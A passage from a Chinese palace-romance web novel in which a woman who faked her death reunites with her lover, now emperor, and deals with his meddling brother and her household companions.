最终地点，是城外几十里的某个地方。
秦千千知道这里，但没有来过。不过现在看来这里有山有水，环境倒是清幽。
“风水宝地呀！”
穆轩岚先下马，然后扶着她下马，他有些惊讶地问道：“你难不成还懂风水？”
秦千千诚实摇头，笑他未免也太看得起自己了。结果穆轩岚说的下一句话，便让她笑不出来了。
“这是我当年亲自找的……”
不等他说完，秦千千就赶忙捂住他的嘴。
这么一说她就想起来了。
当初自己在远赴枫林的路上，听说穆轩岚为她的“尸身”找了个风水宝地，甚至还要在旁边给他自己也立个碑，秦千千当时被气得呕出一口血。
现如今真相大白，秦千千这才想起来，自己要找他算这笔账的。
“你知道，我当时差点被你这个荒谬的举动气死吗？”重逢之后，秦芊芊从未像现在这般生气，“哪怕当时我真的死了，也会被你气活过来。”
穆轩岚知道，自己当时什么疯事都干得出来，提起当时他只是笑笑，没有反驳。
看她气得五官都皱在一起，忿忿地瞪着他，穆轩岚抬手环住她的肩膀，带她往一个地方走去。
原本选定好的地方，现在栽着两株高大茂密的树——正值白天，合欢花随风摇曳，甚是好看。
“放你自由后，我便后悔了，于是派暗卫满天下地找，找到了这两株环抱在一起的合欢树。于是费尽千辛万苦运到京都，栽在这里。”
穆轩岚眼神黯淡，陷入了当时那段的回忆，秦千千顾不得生气，赶忙环住他的腰，把他从悲痛中强行扯了出来。
“陛下，这应该有很深的寓意吧？”
她故意喊着从未唤过他的称呼，听得穆轩岚一愣，察觉到她心情好到玩心大发时，穆轩岚宠溺地笑了笑。
“是啊，这两棵树包含了我想对你说的话，生亦合欢，死亦合欢——无论生死，我都要跟你在一起，你跑不掉的。”
他的用意，当初只能在心中默念给自己听，现在有机会直接说给千千，穆轩岚鼻子一酸，他低垂眼眸，敛去眼底的湿润。
与他心意相通之人，又怎会没有察觉？
秦千千勾着他的脖子，垫脚吻了上去，缠绵得吻结束后，两人睁眼便发现对方都已泪流满面。
“回来了，我这次真的回来了。”
168. 两位神人的双重保障
哪怕重逢已有月余，秦千千发现，他午夜梦回时会突然惊醒，被吓得一身冷汗，然后会紧紧抱住自己，似乎怕自己下一秒便消失不见了。
秦千千那句话像是在叫魂，她知道穆轩岚的魂魄三年前不慎丢失，现在她要把魂儿找回来。
两个人在合欢树下共坐，一直到晚霞渐起，天色微凉，才决定打道回府。
回去的路上，穆轩岚还在感叹，若不是舟车劳顿已久，他一定会带千千去嘉松别院。
在那里，他们两个不会被任何事情打扰，那才是真正的独处时光。
秦千千就知道他会这么想，便握住他拉着马僵的手，笑着转头安慰他。
“放心，在你府中也是一样的，没有人会知道我回来。”
穆轩岚的表情却没有特别开心，秦千千也敏锐地捕捉到了这一点。
“难不成，你看不惯两个小丫头？”
他府上除了冬芸和云彩会来找自己，其他应该也没谁了。
穆轩岚听了这个回答后，吃味地挑了一下眉，秦千千知道自己猜对了。
她哑然失笑，“那你放心，她们两个我也会开导好的，放心吧。”
既然回了京都，秦千千就跟穆轩岚聊起京都的事情。不过她不知道，自己上来就问到了一个绝密事件。
“三年前为你父皇炼丹的那些人，我原本以为在你父皇离世之后，你应该会严惩他们。可你怎么只是贬黜了他们，就放他们离开了呢？”
这是秦千千最好奇的一个问题，她的线人没有探知此时特别详细的信息。因此，在穆轩岚对玄阳道的处理上，她得知的消息都是一知半解的。
比如，她知道穆轩岚私下找过玄阳道，还让他们给皇上改了丹药配方。
后来，两方达成一种默认的平衡，这秦千千也理解，毕竟穆轩岚不想把真相告知皇上，那就只能挽救却不戳穿什么。
可后来的事情，秦千千就理解不了了。
两人回城时走得很慢，夜幕完全降临，两个人似乎在无边的黑暗中行进。秦千千转头看穆轩岚，发觉他的表情有那么一丝不对。
他眼底复杂的情绪，似乎是彷徨，也似乎是无奈，他半垂着眉眼，秦千千看不真切。
“千千，还记得你说，当初不得不选择假死，是害怕陷我于不忠不孝的地步吗？”
穆轩岚嗓音低沉，往日这声音最能秦千千心神安稳，可今日却让他的内心极度不安。
她搭载穆轩岚手腕处的双手不自觉收紧，流露出她的内心感受。
穆轩岚稍稍低头看着她，低声浅笑，“你太聪明了，应该猜得出我做了什么吧？可你却不知道他对我做了什么。”
他的眼底浮现很多无奈，秦千千立刻便知，他一定是受了委屈，而且是天大的委屈。
三年前与他相识过程中，后来真相大白后，秦千千能察觉到的有两点：
第一点是，穆轩兰对自己的感情是刻骨铭心的；第二点便是他对皇上的拥戴，更是不容置疑的。
穆轩岚从未怀疑过他父皇会下死手、会不遵守两人间的承诺，这便是秦千千不得不死一次的原因。
可当初，穆轩岚对他父皇的那一份敬意现在荡然无存，反而增加了一些厌恶之情。
这已经很能说明问题了。
“是不是因为当初他背着你？派人杀光了清风酒楼，所以你才恨他？”
秦千千问这个，只是想开导穆轩岚，她不愿让穆轩岚心中再为此受折磨。
穆轩岚却摇了摇头，“当初我的确恨他，但后来，我不也让玄阳道给他换了药？那时，他还是我的父皇。”
彼时的皇上，还有玄阳道这一个救命稻草握在手中，他并没有变得歇斯底里。可对于穆轩岚执着悼念秦千千的事情上，他很是不满。
再加上暗卫的信息，皇上一清二楚，他自然也知道，穆轩岚派人满天下的找一个，不可能找到的人。
皇上也并不是眼睛里容不得沙子，他任由穆轩岚找了一个月、两个月、一年……
在他耐心告罄后，暗卫那边却查出了线索。
“当初有暗卫上报，有人在一个名不见经传的小镇见到了一个与你非常相似的人。可这消息刚送到京都城外，便被他先劫走了。”
穆轩岚面色不悦，他的手也攥紧了缰绳。
事情往往就在一瞬间千差万别，正是由于晚了一炷香的时间让他得知此事，那个消息就变得再也无法考究。
送信的暗卫惨死，那个无名小镇中也有一户人家无妄之灾，满门被屠。
皇上杀一儆百，让穆轩岚无从得知具体情况，所有暗卫均三缄其口，什么都不敢说。
那时，穆轩岚的身体本来就很虚弱，再加上这急火攻心，更是卧床休养十几日才有起色。
“他竟如此可恶！”
秦千千被气得不轻，这老皇帝可真不是个东西！之前说什么最宠穆轩岚，现在看来也只不过是把最宠的儿子当做工具罢了。
若是哪天穆轩岚不再唯皇上马首是瞻，皇上就会不择手段地告诫他。
之前穆轩岚只能把脆弱压在心底，毕竟他现在是一国之君，怎么能露出软弱的模样给别人看？他的脊背，也永远是如松柏般挺拔。
可现在，终于有人体谅他的绝望，这让穆轩岚不再强撑，他弯腰把头抵在千千颈侧。
也或许是夜凉如水，让他的声音也蒙上一层水汽，嗡声嗡气的，听起来十分让人怜惜。
“最让我心寒的，还是他后来传给我的一封密函，上面只写了一句话，却让我心如刀割，痛不欲生。”
穆轩岚左手松开缰绳，紧紧搂住千千，用力之大让她有些不舒服，可她选择忍住不吭声。
秦千千知道，现在的他急需慰藉。
“不要说了。现在我只能说，这老皇帝死的好，不过一切都过去了，我会永远陪着你的。”
虽然不知道那句话是什么，但是秦千千能感觉到，那话对穆轩岚的摧残。
再说一遍，也只是让他再痛苦一次罢了。
穆轩岚却摇摇头，他要说，他一定要说。
“他让我谢谢他，说他会治好我病，方式便是再杀一次秦千千。”
穆轩岚不再看路，而是把眼眶嵌在千千肩头，不再言语。秦千千心都快碎了，可她又无法行动，不能转头抱抱他。
半晌过后，肩头的凉
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意让秦千千心中更是一惊，她在内心懊悔，自己是不是不该问这个事情？
思索良久后，她觉得还是要问。
有些事情不说出来，那一辈子便会是心结，说出来才有疗愈他的机会。
在路过一个客栈的时候，秦千千主动提议不再往回赶，两个人今夜就在这里休息。
自从在马上回忆过往的伤心后，穆轩岚就蔫蔫儿的，晚饭也只在千千的诱哄下吃了两口。回房后，他便心力交瘁地躺在床上，准备睡觉。
秦千千就趴在他的身上闹腾他。
“我今晚准备好好补偿一下你的，怎么这就准备睡了？”她笑着问道。
穆轩岚喜欢这个，秦千千很是清楚。可在风铃最后两日，两个人阴差阳错并没有再干那档子事。
这又舟车劳顿二十多天，虽然路途有住客栈，但秦千千每日都累的胳膊都抬不起来，一进房间便睡下了。
穆轩岚更是以为千千身体抱恙，完全不敢与她亲热。
现如今终于有了机会，穆轩岚却准备就那么睡了？秦千千着实没想到。
穆轩岚手指把玩着她散落下来的长发，眉眼间尽是温柔，但言语却很不解风情。
“明日吧，今日不行。”
“这难不成，还有什么固定的安排？”秦千千稍稍往后仰了下头，十分不解地问道。
穆轩岚轻叹一口气，“你真的要问这个吗？现在告诉你也无妨。”
在得知千千的心意之前，穆轩岚绝对不敢说这件事情的。
现在哪怕得知了，两个人在不生孩子的事情上上达成的一致，寻常情况下，他也不敢告诉千千，自己悄悄喝着避子汤。
喝这个药也没什么，就是对身体的危害很大。这一点是千千绝对会唠叨他的。
毕竟近些日子，她想方设法地为他调养身体，肯定万万想不到，穆轩岚还在干着这种伤害自己的事情……
现在就是最好的机会，千千舍不得骂自己，她今晚心疼自己的很。想到这里，穆轩岚便把事情告诉了她。
秦千千这下彻底在他身上趴不住了，她盘腿坐在床上，一脸无语凝噎，眼睛就那么滴溜溜地打量着他。
半晌才张张嘴，感叹一句，不是吧？
在她坐起来后，穆轩岚也赶忙跟着起身，他关切地看着千千的每一个表情，生怕她被气到。
“怪不这些日子，我给你找的那些补品，早就应该把你调养好了，我就说怎么还会内里虚耗这么严重……”
秦千千捏着下巴思考，想到什么后，立马抬眸看着穆轩岚。看她一脸狡黠的样子，穆轩岚心中暗道不好，恐怕是有什么坑在等着自己。
“你以后不要再做，这种伤害自己身体的事情了，我们分开就是了。”
穆轩岚脑中瞬间一片空白。
分开，什么分开？
他的身体快过一切思考，双手当即钳住千千两侧胳膊，一脸紧张地望着她：“不，我不会跟你分开的！”
秦千千这才恍然大悟，赶忙改口。
“我的意思是，避子汤我们间错开来喝，你喝一天，我喝一天，对身体好那么一些嘛。我怎么可能会要跟你分开！”
169. 穆轩岚怎么会放过他？
“……，你也在喝那种药？”穆轩岚不可置信的问他，秦千千毫无负担地点头。
现在这个局面，两个人只能说是，大哥不说二哥。
怪不得，千千知道这事的时候没有特别生气，原来是不便发火。
穆轩岚无奈地摇头，他心中打起了算盘：等日后见到王老怪，得问问他，有没有不伤身体的法子。
只不过，多久之后能见到王老怪，还得看他的心情。
“所以眼下为了你的身体好，一段时间的药，我来喝吧。”秦千千小声跟他提议。
穆轩岚哑然失声，他原本以为千千会提议两个人保持距离。没成想，她居然为自己让步成这样。想到这里，他的心里感动得一塌糊涂。
今日，两个人在外奔走一天也很疲惫，聊几句后他们便相拥而眠。
第二日一早，穆轩岚先醒过来，元德已经安排好了车在楼下候着。
穆轩岚便抱着她上车离开，中途秦千千被惊醒一次，穆轩岚小说安抚她，让她接着睡。
毕竟现在天光未亮，她起这么早也没事干。
不过穆轩岚就不一样了，自从登基大典后，他消失了两个多月，今天，是他第一次上早朝的日子。
两人回府，穆轩岚把千千轻放在床榻之上后，秦千千费了好大的力气掀起眼帘，小声问他要去哪儿。
“今日要上早朝，待会儿你起床后，就跟冬云和云彩一起吃饭吧，不用等我了。”他轻声说道。
秦千千勾着他的脖颈，在他脸颊盖上一吻。
“遵命，皇帝陛下。”她睡眼惺忪地说道，穆轩岚眼底的温柔都快溢出来了，可惜今日有要事在身。
穆轩岚起身离开后，她便想侧身继续睡去。可听到门外有人小声说话，嘈嘈切切的，听得秦千千睡意全无。
“咳咳！想进来就进来吧，我已经被你们两个吵得睡不着了。”
门外除了云彩和冬芸，又能是谁？秦千千笑着起身，她倒是很久没有见到冬芸了。
今日的穆轩岚，与两个月离京之前没有任何区别：
早朝时，他依旧未着龙袍，仍是一身素白长衫，坐在那象征九五之尊的龙椅上，意兴阑珊地听下面文武大臣呈报各项事宜。
“陛下，既然上次登基大典未能隆重举行，那莫不如再挑个良辰吉日，重操庆典。”
礼部的人一向规行矩步，况且哪个皇帝上位不想风风光光的？
礼部侍郎自然要先倡议这个，不然在皇上眼前落了不是，到时候追责起来，那可不是谁都能承担的住的。
穆轩岚扫了他一眼，本想果断回绝，那只是一个形式而已，他没有执着于那个的意思。可话到嘴边，他却想起了什么，心中灵光乍现。
“此事改日再议，既然要重新操办，那便要足够隆重。”
礼部侍郎谨小慎微地鞠躬点头，心中长叹一口气，感慨还好自己的政治思维敏捷，提早未雨绸缪。不然，可能会沦为新皇上位被惩治的第一人。
穆轩岚的确在想庆典，可他想的不是登基大典，而是日后，要给千千一个足够隆重的封后大典。
她不在，那后宫之主便永远空着。现在她回来了，穆轩岚恨不得当即昭告天下，与她生生世世都在一起。
可他转念想起，千千自由不羁的人生追求，心头泛起圈圈涟漪。罢了，这事还是以后再跟她提吧。
接下来，便是一些乏善可陈的惯例汇报，穆轩岚处理的很快。整个早朝，除了登基大典的事，容后再议，其他事情都当面解决了。
眼看外面的太阳已过正午，穆轩岚归心似箭。
“诸位大臣还有别的事情吗？若是没有……”
“陛下，一年一度的科举将近，是时候选配主考官和撰题人了。”
那位身着红袍的大臣低头禀报，穆轩岚逆着光看不真切他的长相。此事商议起来更是繁杂不堪，不是三两个时辰可以商讨清楚的。
“此事冗杂，改日朕同你详谈。”说罢，穆轩岚起身离开。
往常他作为臣子时，都是从大殿离开的。现如今却要绕到后宫，一来一回又要耽误些时间。穆轩岚心中对此甚是不满。
可他从未动心起念，要搬来皇宫。他执掌朝政已是数年，若是喜欢，他早就搬进来了。
可他从来不愿留宿宫中，更别说现在千千还在府中等着他。
行至殿后，穆轩岚正准备带着元德离开，却被一人叫住。
“皇上前些日子哪里去了？怎么连登基大典都能缺席。”穆元基快走两步，调笑穆轩岚。
穆轩岚甚是不悦地瞥了他一眼。
这几年间穆元基变得可靠很多，最起码，他不再用那些愚蠢的手段给穆轩岚添堵了。谁知离京两个月，他又倒退回去了。
现如今，他这般嘚瑟的样子，穆轩岚的确是很久没见到了。
察觉到穆轩岚的嫌弃，穆元基脸上的表情愣了一瞬，可想起自己这是出于好意，便又理直气壮起来。
“皇兄，我只是担心你的身体而已，我还在想你是不是彻底崩溃然后去哪里疗伤呢。”
穆轩岚双手环胸，眉眼间又多了一份漠然。
“本王的事不用你操心。”对着自己的兄弟，穆轩岚还是没有更改自称，不管穆元基再怎么牙尖嘴利，穆轩岚始终认可他是自己弟弟。
更何况，是已经慢慢变好的弟弟。
“我们许久未见，今日能跟皇上共饮一杯吗？去你府上或去我府上都行。”
若是穆轩岚不知道实情，便肯定以为他在谋划着什么？
其实现在的穆元基，可以用孤寂两个字形容：无甚爱好，无甚良友。
在那困苦难熬的数年中，他喜欢上了饮酒，常常独酌到深夜。自然，也因酒结交了很多狐朋狗友。
穆元基也时常去找穆轩岚喝酒。毕竟，比起别的吆五喝六的酒友，他更喜欢与穆轩岚对坐，然后谁也不说话，只一杯接一杯地饮酒。
可以说，穆元基很享受那片刻的宁静。其实归根结底，还是因为两个人有着相同的悲惨过往。
看着穆轩岚，他心中也会有些慰藉。毕竟这个世界，并不止自己一个人这么惨。
因此穆轩岚离京这段时间，最受不了的便是穆元基。下了早朝，穆元基就赶忙过来找他邀约。
穆轩岚知道他出于何种目的，可现在他不能答应。
他不再是那个需要借
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酒消愁的人了，现在的自己，需要的是清醒。
“不了，本王近日身体欠佳。过段时间再说吧。”说罢，穆轩岚不再听他废话，径直离开了。
归府心切，让他忘记了，穆元基也是浑身反骨的人。他现在这么果断的回绝，跟直接邀约穆元基没什么区别。
还未出宫，穆轩岚却又被宫女绊住了脚。他母后很是担心他，从他归来后还未与他见面，便差宫女邀他前去赴宴。
穆轩岚深吸两口气，派元德先回府中通秉，自己迟些便回去。
“对了，你去太医院，拿一些滋补的药品回去，这些日子得给千千补补。”
照理说，穆轩岚府中应该不缺这些东西的。
可那时的他自暴自弃，拒绝调养身体，甚至为此大发雷霆，更是下令府中不许出现一味药材……
想到这里穆轩岚抿紧双唇，要是让千千知道，她恐怕又要为自己难过了。
元德得令后立马离开，他觉得自己还是守在府中比较踏实。
近几年，穆轩岚把府中的暗卫撤的差不多了。
殿下现在带着老板重新回府，元德总觉得安排暗卫多少都不够。虽说留下的全是精兵悍将，可元德还是心中不安。
事实证明，他的不安是有道理的。
他刚踏入府门，便有人过来跟他禀报，穆元基用相同的法子闯进了府中。
“不好……”元德呢喃一句，当即派人去通知皇上，自己则是匆忙朝后院赶去。
秦千千一上午都在跟云彩和冬芸聊天，三个人天南海北聊了很多。
这两个小姑娘也是通情达理之人，所以在她跟她们商议，近些日子不要来打搅自己和王爷的二人世界时，两个人一口答应下来。
秦千千犹豫了一下，还是没有把穆轩岚的身份告诉云彩。若是让她知道，穆轩岚不是王爷，而是皇上，那自己的谣言便不攻自破了。
哪个不想活的，敢动皇上的人呢？
冬芸敏锐地察觉到这一点，她什么都没问，暗中配合着秦千千。
好在冬芸和云彩出门见识了不少新鲜事，两个人叽叽喳喳地跟她分享着趣事。
中午她们三人吃过饭，正准备去府中的湖心亭时，门口吵嚷起来，有一到道熟悉的声音在叫嚣。
“凭什么不让本王进去？”
“好好好，我看你们这些下人，是准备逼死我吧？”
穆元基之前用过这一招，他抽出一个侍卫的长剑便抵在了脖子上。
对生死没有留恋的人，下手特别狠，长剑甫一抵上脖子，血迹便自刀口缓缓滑落。
正在侍卫左右为难之际，一道带着些许嘲弄意味的声音传来。
“匹夫一怒，血溅三尺，门童你们应该站远些，省的血溅到你们衣服。”秦千千带着一左右两个小跟班，站在正厅门口，好整以暇地看着穆元基。
穆元基更是看傻了眼，青天白日的自己也没喝醉，怎么就见鬼了？
“……不不不！你……你你不是死了吗？”
秦千千心神愉悦地挑了下眉，她主动露面就是为了让穆轩岚惩罚他。
第一个发现自己尚存活于世的人，穆轩岚怎么会放过他？
170. 得知一个穆元基的秘密
“不可能，你怎么还会活着？”穆元基不可思议的质问她，他脚下的步伐都有些踉跄。
秦千千朝他挑了下眉，“没错，我是上来收你的。”趁着穆轩岚不在，她才敢开这种玩笑。
青天白日的，怎么会见鬼？穆元基这才醒悟过来，而他也走到离秦千千三丈远的地方。
“原来这么些年你都在骗我们！”他喃喃自语，转瞬间想起什么，脸上却升腾起一丝希冀。“你……”
秦千千自然知道他在想什么。
“想都不要想。你的事情我无能为力，这些年，很多事情我都已经不知道了。”
穆元基还能问什么？无非就是楚风。
秦千千也清楚，穆元基从未停止过寻找楚风的计划。好在楚风一入江湖，便如鱼得水般自在。再加上消息封锁，楚风近些年过的算是惬意。
穆元基没有问出口，他哪怕问出口，秦千千的回答也是不可能。
近些年为了不漏破绽，秦千千对于曾经身边人的消息，全都不跟的那么紧，就是怕被故友察觉到什么。
对于常年处在失望中的人来说，但凡燃起一丝希望，他都不会觉得难受。穆元基对秦千千的严防死守，并未不满。
他知道只要秦千千活着一日，他就多一分机会找到楚风。
当年，年少轻狂囚禁她，现在的穆元基知道那个举动不妥。他找楚风只是想告诉她，自己现如今与当年不同了。可他知道这话说给秦千千听，她是一定不会信的。
“那好，不如说说你这些年都在哪里？”
穆元基本着来日方长的想法，自然而然地跟秦千千聊了起来。
这下，别说秦千千，就是她身边跟着的冬芸和云彩，都察觉到眼前的王爷很莫名其妙。
云彩不是特别清楚，可冬芸清楚的很，秦千千跟穆元基根本没有熟到，可以话家常的程度。
而且穆轩岚告诉过她，对穆元基只当陌生人便好，没必要遵循礼数敬重他。冬芸心想，自己尚且不用敬重穆元基，那就更不用说千千了。
于是，赶在秦千千开口前，冬芸上前一步企图拦住穆元基。
“王爷，有什么事情，还是等皇上回来以后再说吧。千千姐，现在没空跟你聊天。”冬芸不卑不亢地说道。
秦千千对她处事不惊的态度相当满意，她抬手拍了拍冬芸的肩膀，立马附和她。
“对呀，王爷。你还是听我一句劝，早些回去吧。”她还十分诚挚地点了下头。
穆元基又怎么可能回去？
他现在最重要的事情，便是与秦千千套近乎。若是能跟她多谈两句，指不定熟悉后就可以托她打探消息。
他的小九九，秦千千看得清楚，可穆元基却看不懂秦千千一点。
“不，我们怎么着也算故交，今日必定得共饮一杯。”穆元基绕过冬芸继续往前走，他就那么看着秦千千，拾阶而上。“我今日本就是来找皇兄喝酒的，不如我们两个先行落座？”
这可是你自己决定的，秦千千心想。她侧身摆了个请的手势。
穆元基本就是不请自来之人，再加上他对王府又很熟悉，因此他走在前面，引着秦千千去了傍山雅居。
这依山傍水的小楼，秦千千真还没来过。她一路稀奇地左看右望，穆元基也时不时的跟她攀谈。
“你竟然没有来过这里？看来你们是刚回来不久吧。”
“看你憔悴了这么多，皇兄若是知道，我喊你去屋外饮酒，说不准得扒了我的皮。所以这傍山雅居就很好，风景好，又不用受风寒。”
“此次，你回京是要重开清风酒楼吗？我倒可以去捧捧场。”
秦千千从未见过如此殷勤的穆元基。
上次他去清风酒楼，可是把那里打砸了个痛快。
听着他嘚嘚说了一路，最后一句话才让秦千千有了想回复他的意思。
“王爷这不是说笑了吗？上次你去清风酒楼，可把我的店中砸了个稀巴烂。若是这种捧场，那王爷还是少去吧。”
穆元基脸上青一阵白一阵，他本就不是献殷勤之人。现在低声下气，已经是他能做到的极限了，没想到秦千千还在调笑自己！
在发作和隐忍之间，他最后还是选择了隐忍。
“哪里的话？当初是我不懂事，现如今我给你赔罪也好。”
穆轩岚急匆匆从宫中赶回来，刚到府前就看到一左一右，站在门口的云彩和冬芸。
冬芸识礼数，还给穆轩岚行了个礼，一旁的云彩却是急性子，她赶忙跟穆轩岚汇报情况。
“哎呀，别在这里有的没的了，那个什么王爷把千千喊去了后院饮酒，千千又不让我们跟着，说要在门口迎你，你快些去看看吧。”
云彩说的急切，穆轩岚的表情越发凝重，在他抬脚就要离开的时候，云彩又加了一句。
“那个家伙来者不善呢，对千千步步紧逼的。”
穆轩岚现在心中急切的不行。
若是别人有求于人时，一定会轻声细语、和颜悦色。可那是穆元基，又牵扯到楚风的事情，穆轩岚担心他会对千千不利。
于是，穆轩岚脚下生风地往后院赶，路过湖心亭时遇到了折返过来的元德。
“陛下，您回来……”
“千千怎么样？你怎么不在那里守着她？”
穆元基压根无心听他把话说完，元德知道殿下心急，便赶忙三两句说清状况。
“陛下，您放心，这次的王爷似乎改了心性，对老板言听计从的，两人现在正在傍山雅居呢。”
穆轩岚这才缓了一口气，眉眼间舒展一些，抬头往傍山雅居的方向望去。
楼阁林立，他其实看不到那里。但望着那个方向，他就很心安。
“那你现在是要去何处？千千是派你去取什么东西吗？”
元德心中感慨，陛下就是陛下，立即就猜到了真相：老板的确让他去清风酒楼取东西。
穆轩岚不可思议地看着他。
那清风酒楼三年来自己去过无数次，几乎每个房间都熟悉了。那人去楼空的地方还能取什么呢？
难得元德脸上有如此生动的表情，他强压下心中的欣喜，压低声音跟穆轩岚汇报。
“陛下，老板刚刚跟我说，南三房里有个地窖，里面窖藏了几坛十年老酒，她交代我现在取来……”
穆轩岚眉
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头微皱，脸上有些不满。
“穆元基配不上那么好的酒吧？”
别说秦千千知道他会怎么想，就连元德也清楚，他赶忙朝穆轩岚摇头摆手，把秦千千解释给他听的话，复述给穆轩岚。
“老板说，那酒是晚上你们两个单独喝的，不是给王爷的。”
穆轩岚这才心满意足地摆手，让他离开。心中甚是畅快地往傍山雅居走，他心中像裹了蜜般甜。还没见到千千，就已经被她哄的身心舒畅了。
往常这段路，要走一炷香的时间，穆轩岚今日只花了一半时间便赶到了。他拾阶而上的时候，听到了屋中两个人的谈话。
基本上都是穆元基问，秦千千兴致缺缺地回答。
穆元基的功力虽不如穆轩岚，但也强过秦千千太多。穆轩岚快要进门时，他便听到了脚步声。因此在穆轩岚推开门时，他早已扭头看向门口。
秦千千毫无准备地欣喜的抬头，这还是重逢以后两个人第一次几个时辰未见面。她面带笑意地朝他走过去，丝毫不顾及在场还有一位外人。
穆元基本来以为，自己会看到皇兄想要杀人的神情，可看到的，却是他满眼深情的望着秦千千。
眼角噙笑的穆轩岚，他可着实没见过……
是了，美人在怀，他怎么还有空会怀恨自己呢？
“吃过午饭了吗？”
穆轩岚温柔地问千千，手则是自然地揽上千千的腰肢。秦千千的双手也很自然的怀上穆轩岚，把自己嵌在他的怀中。
“嗯，我一直在府中等你回来，没成想等来了穆王爷。”作为拱火小能手，秦千千不想陪穆元基玩了。
穆轩岚回来了，她恨不得立马赶穆元基走。
话题突然转向穆元基，这让他如芒在背，脸上的表情有些许僵硬。
经过这三年来的往来，穆元基其实在面对穆轩岚时，已经很少尴尬成现在这样了。
可曾经，那些不好的感觉，又都回来了。
“皇上，我本是想来找您饮酒，不成想见到……”
“不成想撞破了我的机密？”穆轩岚声音冷的可怕，眼神凌厉如两柄利刃，朝穆元基飞来。
穆元基赶忙起身作揖，“臣不敢，只是无意撞破，臣一定不会说出去的。”
“你最好是。”穆轩岚的眼神，便是最好的警告嗯。
穆元基从未看过那般寒透骨血的眼神，他当即知道自己该离开了，请辞后立马离去。
秦千千望着他远去的背影，笑着问穆轩岚。“你不怕他转身说出去吗？”说着还把头倚在穆轩岚的胸膛。
“他不敢。”穆轩岚说得笃定，看着眼前未曾动过的饭菜，他搂着千千落座。
知道秦千千爱听新鲜事的心性，穆轩岚毫不犹豫地把穆元基给卖了。
“这些年，他为了楚风当初的告诫，甚至放庞舒娴自由，让她与旁人生了两个不是自己骨血的孩子，养在府中。”
看着秦千千来了兴趣，两眼放光地想听后续，穆轩岚宠溺万分的在她脸边轻啄一口。
“现如今唯一的线索，就在眼前，他怎么尊敬你都不为过。”
更别说，道出这个秘密了。
171. 告诉冬芸真相
原来，穆元基和庞舒娴虽然维持着夫妻名分，但他主动提议庞舒娴去寻找自己心爱之人。在不暴露于世人的前提下，随他们怎么做。
穆元基此举只为一件事，证明楚风是错的。
当初她说自己是个自私之人，完全不会为他人考虑。用了几年时间，穆元基向不知道在哪的人，证明了她是错的。
得知真相的秦千千，也唏嘘不已。
“这家伙不值得你为他心疼，之前的事原本就是他做错了，苦思一辈子也没有什么用。”穆轩岚宽慰秦千千，也不想让她为穆元基多费心神。
秦千千忍不住笑出声，“我倒不是为他唏嘘，而是为楚风。这么些年，这家伙竟然还没放弃，看来楚风还要再躲一阵呢。”
听她这么说，穆轩岚才彻底放下心。
而穆元基也如他承诺的一般，并未将此事走漏风声，不过他后来也没有机会透露出去了。
“皇上，您是说让我去边关驻守两年？”穆元基不可思议地问他，穆轩岚理所当然的点头。
“旁人去驻守边关，我还要考虑他的家眷如何安置。派你去这种事情都不需要担心，不是吗？”
“……”
穆元基心中其实觉得，去不去都无所谓，他反而隐隐期望远离这片伤心之地。
可现在的时机不对，穆轩岚突然派自己离开，仿佛生怕自己泄密似的。
自己有那么不靠谱吗？
他是这么想的，也是这么问出来了。
穆轩岚十分讶异，他反问道：“你怎么会如此想我？轮守边关本就是皇亲国戚才能做的事情，眼下我看你空闲才派你去的。你如果不愿意，我找别人便是。”
打消心中最后一点顾虑后，穆元基自然顺理成章的答应了。
他走之前还嘱托穆轩岚，庞舒娴在王府中住着便好，千万不要让她回庞家。他不说穆轩岚也知道为何，庞家还没人知道庞舒娴另找外室的事情。
此事，穆元基压的很死。他是要向楚风证明自己，但也要顾全自己的脸面。
傍晚，穆轩岚照旧从宫中离去，回府见到千千后，便给她讲今日外面的趣事。
“他刚开始是顾忌，你怕他泄密，才将他流放的吧。”
秦千千一语道破真相，而且那用词，是穆元基听了，会当场发飙的。
穆轩岚从不瞒她，他坦然点头。
与穆元基说的话，全都是他找的借口，真正缘由就是怕他泄密。
至于那两年的期限，其实不是给穆元基定的，而是穆轩岚给自己的期限。
他想用两年时间，把自己变回之前的那个正常人。自己越快恢复，千千也能越快重获自由。
当然，比起两年的期限，眼下有个更重要的问题：两个人何时跟云彩坦白，当初回京用的幌子。
近些日子，虽然京都好玩的事情精彩纷呈，把云彩迷的几乎是不着家。可日子一久，谎言终究有瞒不住的那一天。
更别说，云彩在见到千千的时候，总是盯着她的肚子发呆。
穆轩岚不想，让千千独自面对谎言被揭露时的无措。他主动邀云彩和冬芸共进晚宴，决定在晚宴上把话说清楚。
虽然进京已有些时日，但王府中稀奇的事情还是太多。更别说今夜是穆轩岚钦定的菜谱，席上全是美味佳肴，山珍海味。就是在王府住惯了的冬芸也不由得惊叹。
“今天的晚宴好丰盛啊。”
秦千千笑着点头，那是当然！等着酒饱饭足后，要跟云彩坦白一切，那就得先把云彩的嘴巴照顾好。
“最近几日我忙于政事，几乎没跟你们怎么照面，这顿晚宴就当为你们接风洗尘的吧。”穆轩岚举杯，元德也跟着举起面前的酒杯。
听到他的话，云彩微微歪了下头，总觉得哪里不对。可眼前酒菜的味道着实诱人，让云彩想不得其他的。
“哎呀，别说那么多了，该吃吃该喝喝吧。”云彩说道。
秦千千怎么可能让穆轩岚的话掉在地上？她捻起面前的酒杯，轻轻撞上了穆轩岚的酒杯。
“美酒佳肴，今晚多谢了。”说罢，她在穆轩岚的注视下，仰头饮尽那杯酒。
穆轩岚眼眶突然有些湿润，哪怕已经重逢良久，他还是会为眼前之人心悸不已。
而这，其实是她们自打认识以来，共饮的第一杯酒。
是了。重逢那晚千千，为自己备了酒，可她自己却一口都没喝。
穆轩岚知道她身份特殊，不能饮酒是要时刻保持头脑清醒，而他自己也没有执着于这件事情。
可今夜不知她怎么破了戒。
他心中好奇，但又不想占用这良辰美景，去问那些不是很重要的事情。
许是看出他心中的疑惑，秦千千把杯子放在桌上后，微微侧身，用肩膀撞了他一下，压低声音说道。
“第一杯也是最后一杯哦，陛下，快点喝了吧。”
穆轩岚笑着仰头饮尽那杯酒。
而那也是他当晚喝的最后一杯。
云彩看着腻歪的两个人，啧啧两声后，继续吃自己的。她和冬芸互相夹菜，两个人谈笑风生。
五个人虽然围坐在一张桌子上，但这两个人几乎不与那三人搭话。
穆轩岚无奈地看向千千，千千也只能淡然接受现状，给穆轩岚夹菜，然后跟元德聊起江湖上的事情。
“可惜我们回来晚了，我听说是不是有一个玩杂耍的戏班子，前些时日才从京都离开啊？”秦千千问道。
之前守在京都的那些年，三年一次看这戏班子的机会，秦千千从不会错过。
那跟普通的戏班子不同。那些人之所以三年才重返一次京都，是在这三年当中，他们会在天下搜集各种新鲜事情，或者稀奇的东西，三年后展示给观众。
